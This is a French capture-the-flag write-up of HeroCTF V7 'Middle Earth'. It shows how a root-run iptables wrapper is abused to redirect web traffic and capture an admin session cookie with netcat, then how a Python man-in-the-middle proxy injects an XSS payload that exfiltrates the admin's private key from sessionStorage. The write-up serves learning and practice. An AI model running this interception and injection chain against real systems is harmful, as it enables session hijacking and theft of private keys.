HeroCTF V7 - Middle Earth [FR]
Ce challenge a été résolu conjointement par siefr3dus et moi-même.
Il s'agissait principalement d'un challenge système, mais il comportait également une part importante liée à une application web.

Reconnaissance
On nous a fourni les identifiants aragorn:hobbit, que nous pouvions utiliser à la fois pour l'application web et pour la connexion SSH à la machine.
On nous a également informés que l'utilisateur admin Saruman se connectait souvent avec son compte administrateur.
L'application web nous permet de recevoir des messages chiffrés, que nous pouvons ensuite déchiffrer à l'aide de notre clé privée.
La page de connexion contient un petit bloc de code qui génère notre paire de clés publique/privée.
const crypt = new JSEncrypt({ default_key_size: 2048 });
const privateKey = crypt.getPrivateKey();
const publicKey = crypt.getPublicKey();
sessionStorage.setItem('sessionPrivateKey', privateKey);
document.getElementById('publicKey').value = publicKey;
Lorsque nous nous connectons, notre clé privée est stockée dans le sessionStorage, tandis que la clé publique est envoyée en tant que paramètre POST :
POST /login HTTP/1.1
Host: dyn01.heroctf.fr:11267
...
username=aragorn&password=hobbit&publicKey=-----BEGIN+PUBLIC+KEY-----...-----END+PUBLIC+KEY-----
La clé publique est ensuite reflétée sur la page de boîte de réception, tout en étant également stockée dans la session utilisateur :
Nous pouvons alors demander un nouveau message et le déchiffrer côté client à l'aide de la bibliothèque JSEncrypt :
POST /request_encrypted HTTP/1.1
Host: dyn01.heroctf.fr:11267
...
Cookie: session=.eJwlzjsOwjAMANC7eGaIk9iOe5kq8UdlbemEuDtIvBO8N-x5xnXA9jrveMD-dNiARnHNSA-S4JAo5mv01TVRybAHLmY31aI8tMRia9w4QklUasOUOkSniZDXMCNP557i1XRWx9k0W3YtzF3JjSQbzrQ5-0KBX-S-4vxvKny-CJMwFA.aS8hYg.OL3mn865Tf1HEt9LsvFBessLau0
{"flag":false}
Prenez en compte ici que le flag ne peut être demandé que si nous possédons un compte administrateur, ce qui n'est pas le cas pour l'instant.
Exploitation
Après une rapide reconnaissance sur le serveur, nous tombons sur un script wrapper pour iptables qui peut être exécuté en tant que root.
aragorn@middle_earth:~$ cat /opt/w_iptables.sh
#!/bin/bash
# Validate and sanitize user input
APPEND_OR_DELETE=$1
CHAIN=$2
PROTOCOL=$3
PORT_SRC=$4
PORT_DST=$5
ACTION=$6
# Define allowed chains, protocols, and actions
ALLOWED_APPEND_OR_DELETE=("A" "D")
ALLOWED_CHAINS=("INPUT" "OUTPUT" "FORWARD" "PREROUTING" "POSTROUTING")
ALLOWED_PROTOCOLS=("tcp" "udp")
ALLOWED_ACTIONS=("ACCEPT" "DROP" "REJECT" "MASQUERADE" "REDIRECT")
# blacklist logic here
# Build and execute the iptables command based on action
if [[ "$ACTION" == "REDIRECT" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION" --to-ports "$PORT_DST"
echo "Redirect rule added successfully: /usr/sbin/iptables -t nat -$APPEND_OR_DELETE $CHAIN -p $PROTOCOL --dport $PORT_SRC -j $ACTION --to-ports $PORT_DST"
elif [[ "$ACTION" == "MASQUERADE" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -j "$ACTION"
echo "Masquerade rule added successfully: /usr/sbin/iptables -t nat -$APPEND_OR_DELETE $CHAIN -j $ACTION"
else
/usr/sbin/iptables -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION"
echo "Rule added successfully: /usr/sbin/iptables -$APPEND_OR_DELETE $CHAIN -p $PROTOCOL --dport $PORT_SRC -j $ACTION"
Ce script nous permet essentiellement d'ajouter et de supprimer des règles iptables, y compris un NAT REDIRECT (ce qui sera très utile), tant que les ports choisis sont dans la plage autorisée (1-2000).
Ainsi, le fait de pouvoir modifier les règles iptables, combiné au fait que l'administrateur utilise régulièrement l'application web, va nous permettre d'agir comme un proxy et d'intercepter le trafic entre l'administrateur et le backend.
Interception du Cookie
Nous avons besoin de deux choses pour pouvoir obtenir le flag : un cookie de session admin valide, ainsi que la clé privée de l'admin.
Commençons par le cookie ; c'est aussi simple que d'intercepter une requête POST de l'admin vers le backend.

Tout d'abord, nous devons ajouter 2 règles iptables qui redirigeront le trafic du port d'origine de l'application web (80) vers un port que nous contrôlons :
sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT
sudo /opt/w_iptables.sh A OUTPUT tcp 80 1337 REDIRECT
Ensuite, il nous suffit de lancer un netcat sur le port 1337 et d'attendre :
nc -lnvkp 1337
POST /request_encrypted HTTP/1.1
Host: middle_earth
...
Cookie: session=.eJwlzjEOwzAIAMC_MHewwcaQz0TYgNo1aaaqf2-krjfdB_Y84nzC9j6ueMD-ctggw6uqZ51ZmupAi2xt2G3cjCx4mFArQmlIrFkUZ0dE4SG8mk4Ka70HEvbBtmyuWWWVxVY7CUmuNO7hUkJ4pmcZy72nqHIK3JHrjOO_qfD9AdIhL9A.aSs6aQ.0zSP4OkJW9rMGUkhvBSCUfHLkoo
{"flag":true}
Maintenant, nous devons annuler les règles iptables que nous venons d'ajouter pour nous assurer que l'application web fonctionne correctement :
sudo /opt/w_iptables.sh D PREROUTING tcp 80 1337 REDIRECT
sudo /opt/w_iptables.sh D OUTPUT tcp 80 1337 REDIRECT
Exfiltration de la Clé Privée
Vient ensuite la clé privée de l'admin, ce qui est un peu plus compliqué. Une chose que nous avons remarquée lors de l'audit de l'application web, c'est qu'une vulnérabilité self-XSS était possible via cette fonction :
function displayMsg(content, encrypted) {
const inbox = document.getElementById('inbox');
if (inbox.querySelector('p.text-gray-500')) {
inbox.innerHTML = ''; // Clear the "empty" message
}
msgCounter++;
const msgId = `msg-content-${msgCounter}`;
const msgDiv = document.createElement('div');
msgDiv.className = 'bg-gray-700 p-4 rounded-lg';
// Conditionally generate the button and other text based on the 'encrypted' flag
msgDiv.innerHTML = `
<div class="flex justify-between items-start">
<div>
<h3 class="font-bold">New Encrypted Message</h3>
<p class="text-sm text-gray-400">From: server@secure.mail</p>
</div>
<button
class="decrypt-btn bg-green-600 hover:bg-green-700 text-white text-xs font-bold py-1 px-3 rounded" data-target="${msgId}">Decrypt
</button>
</div>
<pre id="${msgId}" class="bg-gray-900 p-2 mt-2 rounded overflow-x-auto text-sm text-green-400">${content}</pre>
`;
inbox.prepend(msgDiv);
}
Cette fonction prend le contenu du message chiffré et l'insère directement dans le code HTML de la page. Cela signifie que si nous envoyons une réponse falsifiée en utilisant notre attaque MitM précédente, nous pouvons déclencher la XSS sur la page de l'admin, et exfiltrer son sessionStorage.
Nous avons créé un script simple qui va intercepter la requête de l'admin, forger une réponse malveillante, et exfiltrer le sessionStorage.
Nous devons d'abord configurer notre règle iptables avant d'exécuter le script Python :
sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT
import socket
import threading
import re
import urllib.parse
import json
LISTEN_PORT = 1337
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
def handle_client(client_socket):
try:
request = client_socket.recv(8192)
# --- PHASE 2: RECEIVE THE KEY ---
if b'GET /pwn?key=' in request:
print("\n[+] Key exfiltration.")
match = re.search(b'key=([^& ]+)', request)
if match:
encoded_key = match.group(1)
private_key = urllib.parse.unquote(encoded_key.decode())
print(private_key)
client_socket.sendall(b"HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n")
return
# --- PHASE 1: PROXY REQUEST ---
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((TARGET_IP, TARGET_PORT))
server_socket.sendall(request)
full_response = b""
while True:
chunk = server_socket.recv(4096)
if not chunk:
break
full_response += chunk
server_socket.close()
# --- INJECTION ---
if b'encrypted_content' in full_response:
# 1. Log the real ciphertext (Bot's Flag)
match = re.search(b'"encrypted_content":"([^"]+)"', full_response)
if match:
real_cipher = match.group(1).decode()
print(f"Ciphertext captured (len={len(real_cipher)})")
print(f"Save this: {real_cipher[:50]}...")
# 2. Create the Malicious Payload
xss_payload = (
"<img src=x onerror='fetch(\"/pwn?key=\"+encodeURIComponent(sessionStorage.getItem(\"sessionPrivateKey\")))' >"
)
new_json_body = json.dumps({"encrypted_content": xss_payload})
# 3. Rebuild the HTTP Response
if b'\r\n\r\n' in full_response:
headers, _ = full_response.split(b'\r\n\r\n', 1)
new_len = str(len(new_json_body)).encode()
headers = re.sub(b'Content-Length: \d+', b'Content-Length: ' + new_len, headers)
full_response = headers + b'\r\n\r\n' + new_json_body.encode()
client_socket.sendall(full_response)
except Exception as e:
print(f"Error: {e}")
finally:
client_socket.close()
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', LISTEN_PORT))
server.listen(5)
while True:
client, _ = server.accept()
threading.Thread(target=handle_client, args=(client,)).start()
if __name__ == "__main__":
start_server()
Flag
Et voilà, la clé privée de l'admin :
-----BEGIN RSA PRIVATE KEY-----raccourci ici pour des raisons de lisibilité-----END RSA PRIVATE KEY-----

Il nous suffit alors de remplacer notre clé privée actuelle par celle que nous venons d'exfiltrer, de remplacer notre cookie de session par celui de l'admin, de demander notre FLAG, et enfin de le déchiffrer !
Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}
Merci à Log_s pour ce challenge "système" très sympa.